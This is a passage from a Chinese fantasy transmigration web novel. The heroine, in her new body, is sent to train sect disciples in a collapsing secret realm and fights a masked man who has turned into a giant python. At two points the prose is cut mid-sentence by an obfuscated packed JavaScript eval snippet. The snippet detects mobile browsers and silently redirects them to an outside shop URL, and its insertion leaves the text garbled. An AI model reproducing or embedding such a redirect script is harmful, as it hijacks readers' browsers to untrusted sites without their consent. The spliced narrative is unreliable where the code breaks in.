最后又回到男主,齐云鲤便趁机说:“在白鹭坪他变得很胆小。” 这是相当可疑的地方,毕竟小说里的男主虽然死去活来,却从没怕过。 ——如今胆小就明显判若两人。 可石月观音并不怀疑,反而又开始帮男主说话:“可见面具人给他造成多大伤害,那个人翻来覆去也无法达到目的,就拿男主出气。” 齐云鲤刚有点无言以对,石月观音又提出一个观点。 “说不定面具人就是作者。” 面具人可疑,作者也可疑,干脆就合二为一。 感觉石月观音跟作者有仇,跟男主有牵连,这是齐云鲤的想法。 不过她只能怀疑:“其他地方难道有这种情况?” “相当常见。”石月观音迅速点头。 她的态度过于诚恳,齐云鲤也不好质疑,毕竟一个断更就失踪的作者实在可疑,几个月都没有任何下文,仿佛凭空消失。 不过那个作者知道的东西跟齐云鲤有相似之处,断更时长跟她的住院天数又差不多,就算是纯属巧合也太巧。 总不至于还真的跟她有关。 想到这里,齐云鲤就回想起卫池的话。 所谓的鼎山中人很可疑。 穿书也就算了,而且还早就成为鼎山中人。 ——这都什么事啊,难道她还真的掌握什么机要? 因此齐云鲤就问:“其实我早就来过,是吧?” 这是一件很匪夷所思的事。 不过更匪夷所思的是石月观音的反应,她貌似还有点惊喜。 “你想起来了?” 假如自己点头,感觉她都能喜极而泣。 “没有,只是看起来像这样。”齐云鲤只能这么说,毕竟没有切实感受。 石月观音瞬间就灰心丧气:“你不是自己想起来的,知道也没用。” ——关键是要自己想起来。 貌似能想起一些高深莫测的事。 齐云鲤很是好奇:“那我早就来了?” “早来也没用……”石月观音只是叹息。 说到这里,齐云鲤就确定自己早就过来。 只不过穿书穿得早也没用,毕竟往事已经变成空谈。 石月观音一副心力交瘁的模样,齐云鲤就不再逗留。 只是说:“那个人很难对付,我重点留意一下。” 之后回到青湖房间,她睁开眼就发现窗边停着一只麻雀。 窗外阳光明媚,此时它就仿佛是阳光洒在窗户上。 麻雀也不怕她,只是说:“来飞泉院一趟。” 12. 准备合作 修道人士会用鸟雀一类的传信,因此罗白音用麻雀来传信再正常不过。 但齐云鲤之前跟卫池争一路,刚才又被石月观音搅得晕头转向,现在完全不想动,她躺在床上盖着被子翻个身。 “晚点再说,我先睡一下。” 这本是很简单的一句话,可那只麻雀听完就扑过来啄她。 齐云鲤被啄地头痛背痛,只能下床出门。 离开玄镜池,那只麻雀又跟了一段距离才离开。 飞泉院里之前都有好几个鼎山弟子,这时却空无一人,想起之前被麻雀啄的痛苦,齐云鲤不得不提高警惕。 她走两步就停下来观察,好一阵子才走进内院那个房间。 房间里依然堆满书籍,罗白音满脸不悦地坐在那里:“大白天的睡什么睡,又不是晚上还要忙来忙去。” 她容貌秀丽,气质脱俗,本该让人心情愉悦,但齐云鲤眼下只有明晃晃的嫌弃,毕竟被麻雀啄了一通。 不过罗白音就像来查房的医生,她也不敢怎么样,只能小声抱怨:“又不是有大事,搞这么火急火燎干嘛?” “可大可小可轻可重,就看师叔你怎么应对。”罗白音说得名正言顺。 “这还能有什么大事?” “之前你在禁地打过面具人,所以我想问问你感受到的龙息压迫有没有变化。”罗白音的理由天经地义。 可齐云鲤那时在禁地时而感受到压迫,时而又不明显,她也不清楚是怎么回事。万一青湖对龙息压迫的感受异于常人,而罗白音知道此事,一旦说错不就完了? 齐云鲤只能含糊不清地说:“……没什么明显变化。” “掌门闭关修炼就跟鼎山龙息变化相关。”罗白音说出关键。 小说里的鼎山掌门热衷游山玩水,隔三岔五就出门远行,玩得不亦乐乎。鼎山弟子都很少有人见过他。 不过只要鼎山出事,他随时都能冲回来打人,当然是利用护山大阵。 这种角色在小说里不可能闭关修炼。 此时他闭关修炼,还跟龙息有关,那就说明要出大事。 齐云鲤只能谨慎地问:“鼎山龙息有什么变化?” “鼎山龙息在逐渐衰减,只不过又会定时补上。”罗白音说得很平淡。 这句话里有两件事,龙息衰减和龙息补充。 感觉是两方势力造成的,毕竟后果截然相反。 齐云鲤自动将面具人放在令龙息衰减的位置,不过那个补充龙息的又是谁? ——难道是青湖? 自己正在使用青湖躯体,不会还要她补充龙息吧? “感觉我补充龙息力有未逮。”齐云鲤郑重说明。 “没指望你,”罗白音翻个白眼,“那个人来鼎山盗取龙息,你得让他打你,从而没精力留意龙息的事。” 意思就是齐云鲤还得专门让人打她。 说得很轻松,其实是件很难的事。 “……这不好吧?”她当然无法接受主动挨打的事。 罗白音顺势提问:“那面具人你还知道什么?” 面具人的其他事她知道的多了。 只是当然不能直接说他是穿书者,齐云鲤便转换一下方式:“他夺取鼎山龙息另有目的,始终没达成所以一直过来。” ——其实就是不达目的誓不罢休。 “那个目的对鼎山有影响吗?”罗白音只是问这一点,并没有问个不停。 齐云鲤有点无奈地说:“对整个天地都有影响。” 此话一出,事情就相当严重。 ——毕竟鼎山对天地也有影响。 “跟掌门闭关修炼有关吗?”罗白音依然问得很简单。 “估计关系不小。” 虽然齐云鲤没说什么,但罗白音已经知道情况相当恶劣。 思量片刻,她就说:“估计他还会过来,师叔你要想办法挡住。” “已经挡了好几次……”齐云鲤无奈摇头。 “之前几次都是在不同地方,每次效果不一样,”罗白音慢慢说出关键,“效果最好的一次在哪里?” 这个问题出现之前,齐云鲤还没想过效果不同的事。 但这时她就发现每次打到最后,结果都不太一样,虽然都打赢。 禁地、玄镜池、鼎山山脚、白鹭坪。 在禁地是先被打到崖壁上,玄镜池是狭路相逢勇者胜,鼎山山脚是依靠阵法埋伏,白鹭坪倒是打得比较彻底。 “……白鹭坪?”齐云鲤刚说出口就赶紧解释,“我让他教我徒弟剑法,所以去过几次。” “只要青滔师伯乐意,反正我无所谓,”罗白音的话音很轻,“不过师叔你要知道,能学的不止你徒弟。” 这话就很微妙,听起来像是还要齐云鲤去白鹭坪学什么。 她虽然没有问出口,不过迷惑的表情已经说明一切。 罗白音指出:“白鹭坪效果最好,必然是有什么不同之处。” “青滔帮忙打了。”齐云鲤只能想到这个。 “仅此而已?”罗白音有点气,“那你在干什么?” “我稍微打了一下。” 罗白音看起来都想打人:“还只是稍微?” 这怒目圆瞪的模样让齐云鲤感觉自己是个考试不及格的学生。 而罗白音就是课后苦口婆心的班主任。 搞不好就会罚她去抄十遍□□。 “嗯,当时情况有点复杂……”她绞尽脑汁回忆,“有层层叠叠的气浪,我跟气浪打起来……不过同时好像有很多人出剑。” 她觉得不靠谱,所以又强调:“只是感觉,不一定是真的。” “就是这个!”谁知罗白音瞬间就拍案叫绝。 之前听青滔师伯说起剑阵的事,她还不能确信。 如今这个青湖吞吞吐吐的描述,证明就是剑阵发挥作用。 剑阵出现很多年,之前旁人始终无法运用,因此只当是个玩笑。 ——没想到真的有用。 “假如当时没有其他人出剑,师叔你自己能对付气浪吗?”罗白音客气很多。 言辞温和也未必是好事,齐云鲤只好含蓄地说:“打是能打,就是估计代价比较惨重。” 之前青滔师伯没说伤势的事,现在也看不出来,于是罗白音又问:“那当时师叔你受伤严重吗?” 气浪的杀伤力绝对不小。 “……还算毫发无伤吧?”齐云鲤感觉没什么。 层层叠叠的气浪伤害巨大,毫发无伤的结果好得都令人不敢相信。 能调动剑阵的人就在眼前,这是不可多得的机缘,于是罗白音说:“过几日师叔你的徒弟就可以进秘境历练。” “是不是太快了?”齐云鲤很是疑惑,能进秘境通常也得半年之后。 鼎山弟子学会全套鼎山剑法最快也得半年。 即使卫池异于常人,鼎山的规矩也不应产生这种变化。 毕竟秘境里危险重重,又不是出门郊游。 可罗白音解释道:“这次的秘境即将破碎,里面没危险,只是进去熟悉一下。” ——貌似还挺合情合理。 “……他一个人进去?”齐云鲤想不通。 罗白音说:“七八个人一起进去,还可以相互照应。” 小说里进秘境的人数顶多五个,毕竟鼎山秘境也不大。 这次有七八个,感觉过多,很不同寻常。 “不用这么多人吧?”齐云鲤觉得有点奇怪。 罗白音善解人意地笑起来:“毕竟他是人炉,多几个人照应比较稳妥。” 虽然她貌美如花,可这个笑容令人不敢懈怠。 即使听起来像是一群鼎山弟子护送卫池去遛弯。 鼎山中人干这种事就很奇怪,又不是闲着没事做。 “有这个必要吗?”齐云鲤很莫名其妙,之前罗白音跟卫池都快吵起来,结果现在差不多把他当祖宗供起来。 “他是鼎山唯一的人炉,人炉绝非任人摆布之辈,”罗白音饱含笑意说出一句话,“面具人估计还会过来,所以师叔你也要留意,虽然鼎山弟子能跟你配合。” 齐云鲤恍然大悟,最后一句才是重点! 她说怎么突然这么温柔体贴,结果是要她去练兵。 “我跟他们不好配合吧?” “配合不了也要配合。”罗白音脸上的笑容已经消失。 刚才还仿佛菩萨低眉,结果现在直接冷着一张脸。 齐云鲤只好问:“面具人来鼎山不会去其他地方?” “只会去那个秘境。”罗白音说得很确定。 说到这里,齐云鲤已经大致明白是怎么回事。 其实就是用卫池来引面具人,然后她带鼎山弟子去打架。 至于为什么面具人会直接去秘境,估计早有布置。 “有什么要求?”齐云鲤感觉还不如弄陷阱设埋伏。 罗白音重点强调:“你们要配合。” “要配合什么?”齐云鲤搞不懂。 罗白音皱起眉头:“难道你在白鹭坪是白打的?” “秘境又不是白鹭坪……” “你在那边打过,身上就会自带剑阵之威。” ——话已至此,就是说明要用剑阵。 说得齐云鲤去秘境练兵顺理成章一样,她也没法反驳,毕竟练鼎山弟子就是保障鼎山安全,保证填坑。 不过—— “剑阵的事你是怎么知道的?”齐云鲤有些奇怪。 “青滔师伯跟我说的。” 齐云鲤无话可说,只能翻个白眼。 过了一会儿,她说出要求:“我先整理一下,也不急着这两天就要进秘境。” “后天就要进去。”罗白音毫不担心。 “时间没必要这么紧吧?” “那批鼎山弟子今明两天就可以学会相关知识。”罗白音指出。 听起来完全没有考虑齐云鲤,不过她也不能有意见,毕竟鼎山弟子才是关键,自己只是个带教的。 何况填坑的关键原本就在鼎山弟子,之前遍地尸骸,这次可不能再那样。 齐云鲤又说:“那过去的人……” “都是你已经见过的。”罗白音点点头。 谈话结束齐云鲤就去找一个趁手兵器,毕竟事关重大,不可小觑。 鼎山兵器全都由煅剑城打造,煅剑城跟鼎山算是兄弟门派,二者互帮互助,相辅相成。 煅剑城是专门锻造兵刃的门派,在鼎山帮助下富甲一方。因此煅剑城跟鼎山从来不谈钱,只要这边定期派人过去帮他们挖矿就行。 煅剑城打造的兵器没有神兵利刃,也不是举世瞩目的珍宝,不过都能削铁如泥。根据白鹭坪的经验来看,还是多准备点兵器,以备不时之需。 齐云鲤去武库直接拿了十把长剑,正要出门,就有鼎山弟子说:“师叔,一次不要拿太多。” “白鹭坪都有上百把?”齐云鲤有些迷惑。 鼎山弟子摇头:“那不是一次拿走的。” “不是一次就行?”齐云鲤很不可思议。 鼎山弟子点点头:“明天还可以再来拿。” 听起来感觉是要适可而止,于是齐云鲤问:“一次能拿几个?” 鼎山弟子伸出两根手指。 “那我明后天再过来。”齐云鲤挑出两把长剑。 “记得在天黑之前,过时不候。” 接下来的时间,齐云鲤继续想打面具人的二十三种方法。 虽然之前没用上,但在秘境肯定能用,也就是再加上护山大阵和剑阵。 除此以外还有件事要做,那就是找卫池。 之前跟他说了一路,双方态度都缓和不少,于是齐云鲤在傍晚时分直接跑去侧门那边。 卫池刚从外面回来,就看到齐云鲤等在门外。 “你干什么?”他有点怀疑。 齐云鲤平静地说:“我跟你说件事。” 一听就没好事,卫池眉头紧皱。 “首先是你后天要进秘境,同行的还有七八个鼎山弟子。那个秘境濒临破碎,没什么风险,只是进去熟悉一下环境。”齐云鲤说出具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16963666|193353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体安排,今天上午才见过罗白音,所以还算早。 鼎山秘境基本都是给鼎山弟子进去历险,锻炼武艺和磨练心性的。 不过都是入门半年之后才进去,像卫池这种差不多一个月就进秘境是绝不可能的。 “实际是要干什么?”卫池当然知道没那么简单。 齐云鲤小心翼翼地说:“面具人在鼎山徘徊,要把他引进去。” 如此一来事情就有点严重。 毕竟面具人又打又杀,从不手软。 “除了我还有其他人也在里面!”卫池愤愤不平。 “所以我也会跟进去,”齐云鲤无奈地说,“之前我在白鹭坪打架调用剑阵,罗白音让我再带鼎山弟子试一下。” 卫池声音更大:“这太危险了!” “你如果想试,也可以参与。”齐云鲤赶紧缓和气氛。 “初次尝试就用来打面具人,风险太高!” 这话不假,岂止是有风险。 “所以重点是你和我要稳住局面,”齐云鲤叹了一口气,“他们只是尝试,但我们得货真价实打面具人。” 卫池顿时温和很多:“实际只是我们打?” “是的,所以要好好想一下怎么打,”齐云鲤强调,“既打得面具人束手无策,又让鼎山弟子体验到剑阵威力。” 卫池沉默一段时间就说:“你打他就行,别连累其他人。” “那你就让他们体验到剑阵的威力。”齐云鲤说。 卫池果断摇头:“我不会。” “那你赶快去白鹭坪学一下。” 虽然这么说,可齐云鲤并不抱希望。 不过此时暮色低垂,但卫池转身就走,还走得很快。 这实在是意想不到的惊喜。 “明天还可以学一整天。”齐云鲤也不着急,又接着想如何打面具人。 次日全天卫池都没有在玄镜池出现,应该还在白鹭坪。 为了打面具人,也算是刻苦钻研。 第三天上午他才浑身是伤现身于玄镜池。 那遍体鳞伤的模样跟齐云鲤之前差不多。 八成也是摊煎饼一样被翻来覆去地打。 虽然还能直立行走,不过伤势不轻。 “你是怎么调用的?”卫池十分迷惑。 在白鹭坪不管他怎么尝试,剑阵都没反应。 直到被打一天之后,有外来袭击出现,他想与之对抗才调动剑阵。 齐云鲤见他伤势不轻,就说:“可能是被打的次数多吧。” 她虽然语气平静,不过实际想的是卫池总算被打了。 耗费这么长时间,终于如愿以偿。 ——为了让他被打,她也不容易。 以后别干这种亏本买卖,还是打面具人吧。 不过卫池却认真发表意见:“可能是元气在发挥作用。” “……啊?”齐云鲤完全反应不过来。 “晨练之地的长老说龙息跟元气就类似一阴一阳,”卫池说得有点讽刺,“你不会没听过吧?” 元气这个词好像小说里从未提及,但是这里有,自然就要因地制宜。 因此齐云鲤没有反对,只是问:“你有什么依据?” “我对龙息很熟,剑阵里用龙息无效。”卫池仿佛证据确凿。 龙息遍布鼎山上下,每个鼎山弟子身上都会有少许龙息,因此他身上也有。轮回这么多次,对龙息比较熟悉也合情合理。 不过—— “鼎山弟子怎么会有元气?” “龙息和元气算一种东西,依附于真龙就叫龙息,在众生身上那叫元气。”卫池解释的还算有理有据。 但这种说法有点模糊,只是说存在元气,具体怎么回事却只字未提。 齐云鲤只好问:“那要怎么办?” “你别去害人就行。”卫池没有过多要求。 关于元气的交流到此为止,两人各自回房整理。 刚才齐云鲤又从武库里拿来两把剑,于是将六把剑施法保存,别人看不出她带着剑,实际只要摆出握剑手势长剑就会出现。 两人走到秘境入口,那里已经等着九个鼎山弟子,正是之前协助齐云鲤的那群人。 “你们都学会了?”齐云鲤问宋安合。 宋安合稳妥回答:“基本情况已经了解。” “他也会一点,随时留意他的动向。”齐云鲤指着卫池。 虽然卫池是新入门的鼎山弟子,不过他是人炉。 这九个人已经知道是怎么回事。 秘境入口在一处山崖上,有鼎山长老守在入口旁,手里拿着一本册子,对准备进去的鼎山弟子逐一点名。 他须发皆白,这时站在那里肃穆地仿佛鼎山弟子不是要去秘境,而是止水宗。 那白须白发仿佛某种警示,似乎稍有差池就会变成那样。 鼎山多云雾,此时山崖四周是一片云海,而在这云海之中立着一个圆盘,圆的四周均是缠绕的金丝银线,将那晦暗不明的圆衬得更加暗淡。 齐云鲤望见一缕细丝般的黑烟飘入秘境,就知道面具人已经到来。 这时鼎山长老正在跟众人强调秘境注意事项,未曾留意那一缕黑烟。由于他专门驻守秘境,因此鼎山弟子私底下都叫他秘境长老。 黑烟过后并无动静,齐云鲤也不好做出什么反应,只能先目送众人进入秘境,再继续观望一下。 不过没想到她还没动,就有人动了。 秘境长老走过来,白眉拧得很紧,神情不悦:“你来干什么?” “那边有我徒弟。”齐云鲤莫名其妙,但也只能解释。 谁知秘境长老听了像是要爆炸:“你又要拆吗?!” 他明显年事已高,但这时相当激动。 “……啊?”齐云鲤一愣,突然看到又有一缕黑烟钻进秘境入口,那个晦暗不明的圆随着黑烟的钻入,刹那间闪出一丝暗红。 “……估计是吧。” 齐云鲤话还没说完就冲进秘境,只留下秘境长老咆哮大吼:“这人怎么还这样?!” 13. 合作 这时的秘境一片昏暗,但本该只是光线昏暗、环境复杂的地方却多了一丝不安分的黑烟。黑烟走走停停,一路尾随众人,丝丝缕缕的动静极其细微。 黑烟与昏暗环境融为一体,没人能察觉它的存在。 可卫池却转过头,警惕地盯着那一片,似乎已发现黑暗中的黑烟。 黑烟向一旁划过,躲到一棵松树树冠里,卫池也就此转头,盯着那棵松树。 原本没人能察觉的动静,却似乎在他眼里清晰可见。 “师弟,前方左转就能走出这片山林。”宋安合回来叫卫池,他刚到前面转了一圈。黑烟猛然从松树树冠窜出,向他冲过去。 千钧一发之际,卫池伸出手掌将黑烟拦住,黑烟径直穿过血肉,因此染上几分血色,瞬间在黑夜里显出身形。 事发突然,宋安合完全没料到。 但卫池平静的像是无事发生,即使右手在滴血。 一个疗伤阵法闪现在他掌心,宋安合拔剑就向那道黑烟劈去。 他出剑很急,动作也很快,可黑烟太过纤细,很难对付,稍微游走就能躲过攻击。因此劈砍半天也还是一场空,毕竟无法捕捉黑烟的具体位置。 紧接着一股鲜红血液喷在黑烟上,黑烟形态骤然变大,宛若一条黝黑长蛇。 卫池掌心已被划破,眼中却闪出一道寒光。 宋安合立即施法将黑蛇暂时固定住。 虽然提前得知有人会在秘境里作祟,不过实在想不到会是这样。 可大可小的黑烟根本就不是普通修道人士能对付的。 “这里有妖物作祟!”宋安合大喊一声,其他人飞速赶来,众人施法布阵。 由于有护山大阵的笼罩,他们很快就将阵法铺开。 阵法有光,所以周遭不再昏暗。 阵法中黑蛇的身影清晰可见,于是鼎山弟子合力攻击。他们的剑锋锐不可当,霎时便将黑蛇压制住。 但原本悄无声息的黑蛇瞬间爆发出巨大声响,犹如风声尖锐呼啸,一时竟对众人产生极强威慑。 此种效果已经超出蛇的上限,更接近龙。 ——不过龙在鼎山并非高不可攀,毕竟禁地震慑着大量龙息。 鼎山弟子调整阵型,借着护山大阵的力量将刺耳声响挡在外面。 卫池趁机甩出一块龙骨令,将黑蛇刺耳的呼啸压过去。 龙骨令出自龙骨,龙骨出自真龙,比起像龙的东西自然更胜一筹。 这是秘境必备之物,每个鼎山弟子进去之前都会分到。 在真龙威力下,再强悍的长蛇也只能臣服,即使只有一小块骨头。 呼啸一过,鼎山弟子就毫不手软打过去。 但那条长蛇的身上顷刻间又长出尖锐鳞片,然后向鼎山弟子射去。事发突然,鼎山弟子身上都被划破,这时有阵法瞬间闪现,尽数挡住飞射而来的鳞片。 尽管鳞片尖锐刺骨,但这时钉在阵法上,反而形成一道稳固屏障。 几步之外的长蛇再也攻击不到鼎山弟子。 卫池绕过屏障冲上去,抓住长蛇对着地面一砸。鳞片再怎么尖锐也被砸成碎屑,而他手上的鲜血又让黑蛇身形进一步扩大。 ——怎么看都不像新入鼎山的弟子。 不过鼎山弟子都知道他是人炉,又事先得到提醒,因此没有大惊小怪。 他们再次冲上去围住黑蛇,以阵法将其困在当中。黑蛇鳞片又向四周飞扑,但是鼎山弟子都在阵法外,没有受伤。 只是双方的较量似乎没完没了,谁也想不出要如何应对。 “用龙骨令!”卫池大喝一声,说完就举起手中令牌。 这样鼎山弟子就知道该怎么做,毕竟人人都有令牌。 众人掏出龙骨令,九个令牌连成一线,仿佛龙形。黑蛇便随之一顿,似乎被震慑到,身手也不再灵活。 于是鼎山弟子趁机对其一顿砍杀,在众人合力攻击下,黑蛇再灵活也不免腹背受敌。因此黑蛇身形一缩,竟将刚才沾上的鲜血全都挤出,然后甩开。 鲜血一除,黑蛇又变成一根纤细的线,它朝阵法边缘一刺,就将阵法打破。阵法消失,周遭又变回昏暗无光。 在黑蛇影响下,四周光线更暗,基本已经全黑。 漆黑的夜里几乎不可能捕捉一缕黑烟。 但卫池这时却能找到那道黑烟,颜色再接近也能发现游走痕迹。 黑烟知道沾上血液就会显形,因此随时都在变换位置和身形。 ——他就根据细小的痕迹变化来判断。 即使旁人难以察觉,在卫池那边也清晰可见,毕竟已经相当熟悉。 而鼎山弟子虽然再次布好阵法,也很难察觉出黑烟的位置。他们为了避免伤到卫池,只好在一旁施法加以援助。 只不过这时的阵法光芒再也难以照亮黑烟踪迹。 于是一人一线就在阵法里不停缠斗,尽管有龙骨令在四周形成震慑,那一条细细的黑烟也依然灵活游走,只是一时无法从包围中脱身。 若是外人从远处看过去,只会觉得卫池是不是有什么毛病。独自拿剑在那里舞动,下手还特别狠,周围一圈鼎山弟子仿佛是在围观他表演。 不过这种情况也没持续太久,远处传来一声巨响,黑烟凭空消失。 宋安合见卫池停下来,只能茫然询问发生何事。 卫池四处张望着说:“不见了。” 他话音刚落,远处就传来山崩地裂的声音,轰隆隆响个不停,竟然震得他们这里也有些颤动。 齐云鲤才冲进秘境,就看到一条巨蟒,虽然四周光线暗淡,但巨蟒是浅色,相当明显。她果断拔剑上去砍杀,于是就这么打起来。 打斗过程中那条巨蟒还不断转移位置,因此齐云鲤也跟着一起移动。 远远看去,只见一条巨蟒在腾挪游走,巨蟒面前有人拿剑攻击。 虽然那人身法就没停下来过,不过众人还是认出那是青湖师叔,之前单纯挨打的一个长辈。 那一人一蟒一路打一路砸,所过之处皆是一片废墟。 ——相比之下还是单纯挨打比较好。 毕竟这秘境原本就濒临破碎,如此一打,只怕会碎得格外彻底。 “那是在拆台吗?”鼎山弟子茫然发问。 “已经砸了快一半……”放眼望去,一半都是废墟。 “巨蟒哪里来的?”这种秘境根本不可能出现那种东西。 “这秘境要完……”远处已经开始分崩离析。 最后卫池总结:“不提前出去都得陪葬。” 暗淡无光的山林里,齐云鲤拔剑猛砍,反正也不会造成太大影响,重点是挡住巨蟒的去路,让其无力袭击其他人。 虽然知道面具人会过来挑事,但化形成巨蟒也太夸张,她都只是化形成燕子。化形对象体积越大,消耗的修为就越多。 大多数修道人士最多只能化形成跟自己体形差不多的事物,可小不可大。 巨蟒体积起码也有一百人,可见面具人的修为有多高。 这种等级的修为跟鼎山弟子相比自然是天壤之别。 若是让巨蟒跑到其他人那边,后果就不堪设想。 之前跟面具人打几次,都没造成太大伤害,因此齐云鲤轻敌了。 此时发现问题就绝不能掉以轻心。 她虽然无法对巨蟒造成太大伤害,可巨蟒身形庞大,不好躲闪那些细密攻击。那些攻击虽然尖锐,但难以造成实际伤害,可次数一旦变多,就能形成攻击阵法。 刀剑攻击无效,但阵法攻击有效,于是巨蟒只能不断腾挪,片刻就掀翻一片林子,一路游走其实就是在一路摧毁秘境。 而且巨蟒又要施法,在阵法辅助下咬过去,獠牙尖锐刺骨,对齐云鲤来说就如同巨型长枪猛然劈下。 她难以抵挡这种攻击,只能不断变换位置、调转身形,从而躲闪过去。虽然攻击明显,可一旦被咬到就会血流满地,风险太大。 双方打了一路,谁也没占上风。 那是个初级秘境,又濒临破碎,有很多未定形、未成形的东西。那里呈一片将生未生之象,因此很多事物都若有若无、似真似幻。 齐云鲤绕来绕去,她的路线在不断变换,而不是一条明确的线。 巨蟒在追击之中被迫不停变换方向,刚刚走过的一条路,下一瞬间又消失不见;前一刻还平坦的道路,下一刻就变成一条深沟。 一切都可能变动,巨蟒因此被绕晕,始终无法破局,一直在原地来来回回。 一人一蟒绕来绕去,差不多将那一带夷为平地。 “师叔,不要恋战!”鼎山弟子大喊着冲过来。 齐云鲤见他们人多势众,总算想起来自己不是孤身一人,来秘境的目的不是打架而是练兵。 但重点不是让鼎山弟子真的实战,而是感受剑阵之威。 虽然是她在打,但是鼎山弟子得从中获得经验。 在鼎山弟子踏到那一带时,护山大阵瞬间就在众人那侧展开。齐云鲤则在这防护中径直冲向巨蟒七寸,猛地一刺。 那自然不是普通刀剑劈砍,而是融合功法的强悍一击。 巨蟒原本不设防,因此就被直接刺中。刀剑没有杀伤力,但其中蕴含的功法径直钻入七寸。 七寸是蛇的心脏位置,因此这就是致命一击。 这一刺过后,天地之间只有坍塌崩裂,巨蟒因剧痛而起的翻腾,将山石都卷入身下。飞溅的碎石土块被护山大阵挡在阵法之外,鼎山弟子没有因此受伤。 而齐云鲤直接翻上巨蟒头颈又是一阵狠劈,还趁机大喊:“你们快点布阵!” 眼下已经出现护山大阵,那么应该布置的阵法只能是攻击阵法。 不过鼎山弟子修为不高,即使用攻击阵法对巨蟒也难以造成伤害。 “师父之前在白鹭坪调动过剑阵,剑阵之威仍在身上,你们可以再次唤醒剑阵之力攻击巨蟒。”卫池在旁边解释说明,情况紧急也仿佛无事发生。 剑阵是鼎山不足为外人道之物,大家都当作青滔长老的玩笑。 但眼下卫池说出这件事却像证据确凿。 “我师父调动过,我在白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16963667|193353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鹭坪学剑时也略有接触,”他慢慢说出口,生怕其他人听漏,“那不止是玩笑,说不定你们能一举击败那条巨蟒。” 巨蟒犹如一道蜿蜒城墙,相比之下鼎山弟子只能算渺小蝼蚁。 要想击败巨蟒,几乎就是蚍蜉撼树。 白鹭坪一事众人略有耳闻,只是没想到教学范围这么广。 宋安合艰难开口:“即使有护山大阵我们也难以抗衡……” “在护山大阵的基础上使用剑阵。”卫池说。 由于他是鼎山唯一的人炉,所以众人没当那是玩笑话。 鼎山弟子基本都家境贫寒,修为不高,即使刻苦修炼数十载也只不过是稀松平常的修道人士,没人会名扬天下。 倘若剑阵真的有效,那他们就能运用剑阵之威震慑四方。 这算是一个可遇不可求的机会。 “阵法呢?!”齐云鲤在不远处大喊出声。 她跟巨蟒已经打得不死不休,再不出杀招就只有归西。 ——结果鼎山弟子还是没有动作。 之前他们都反应迅速,不知道这次是被什么拖住。 “我跟师父都接触过剑阵,现在就是你们。”拖慢进度的卫池伸手一指。 反正不清楚那边是什么人,他也不急。 可卫池不急,鼎山弟子急。 事已至此他们也不能再犹豫,毕竟秘境已经被砸一半。于是众人同时施法布阵,不过出现的只是普通阵法而不是剑阵。 “人呢?!”齐云鲤都快没脾气了。 巨蟒已经砸烂大半秘境,这地方就快破碎。 为了抵挡巨蟒,她都已经砍断三把剑。 既不能用杀招解决巨蟒,又得维持秘境稳固,两边都要兼顾,一时有点心力交瘁、精疲力竭。 之前说好只是演戏,结果现在仿佛还要命。 “不是施法布阵,而是要拔剑攻击,”卫池不慌不忙地解释,“出剑才能调动剑阵,让剑阵跟你们一起进攻。” 宋安合问:“单纯挥剑跟阵法无关吧?” “这里也没什么龙息?”另一个鼎山弟子十分疑惑。 龙息是鼎山中人都有之物,因此能用它来联系彼此。 但这里龙息甚少,只能勉强保持秘境和外界平衡,不可能再挪作他用。 既然与施法无关,又与龙息无关,那他们挥剑怎么可能调动剑阵? “龙息和元气就类似一阴一阳,虽然没见过元气,但并不是不存在,”卫池说出关键,“这里没有龙息却有元气,因此元气能帮我们调动剑阵。” 之前鼎山长老说到过元气,但没有谁当真,毕竟没人见过。 没想到还真的有元气。 ——人人都有龙息,也就是人人都有元气。 “我受不了了!”齐云鲤实在忍无可忍,就大吼一声。 她对巨蟒使出杀招,与此同时鼎山弟子也拔剑冲过去,一时间犹如上百把长剑同时劈下。剑气、剑意汇聚成一条奔腾的汹涌长河,径直冲向那堵巨蟒城墙。 长河与城墙搅成一团,城墙就变成巨浪下的断壁残垣和残砖碎瓦。 不过秘境也同时由东向西化成碎屑,若是不能及时撤离,所有人都会跟秘境同样下场。 碎屑由远及近,就快到鼎山弟子脚下。 击败巨蟒本是一件好事,但此刻齐云鲤实在想不出还有什么方法能让他们瞬间转移。 ——要是不能出去,成功调动剑阵也是白费。 就在这时,一对骤然出现的巨翼将众人包裹起来,让他们不被周遭环境影响。随后上方又出现一对巨翼,向着苍穹疾驰而去。 众人被巨翼裹着冲出秘境,就在离开入口的刹那,一缕黑烟也趁机冲出。 外面是云海之中的山崖,众人落到地上,巨翼悄然消失,而圆盘中的秘境则彻底化为碎屑。 他们一时还没反应过来,先是拔剑攻击,然后天崩地裂,最后逃出生天。 鼎山弟子都以为巨翼是青湖师叔变出来的,即使还没想通是怎么回事,就纷纷过来道谢,将齐云鲤夸得天花乱坠。 齐云鲤没有沉醉于众人的夸赞,只是用眼角余光看向卫池。 那个人没有一脸欣喜,只是有点疲惫。 ——巨翼是他变出来的。 能变出那种东西,可见修为不低。 也不知轮回多少次,才攒下那么多修为功法。 只是这么多次也没能分出胜负,看来打面具人的事不是一般非同小可。 “你又干了什么?!”耳边传来熟悉的咆哮,秘境长老指着空无一物的圆盘大吼,“秘境怎么会碎成渣?!” 通常来说秘境自行破碎是不会烂得什么也不能用。 不过回答他的不是寻常人声,而是黑烟顷刻间化成的巨蟒。 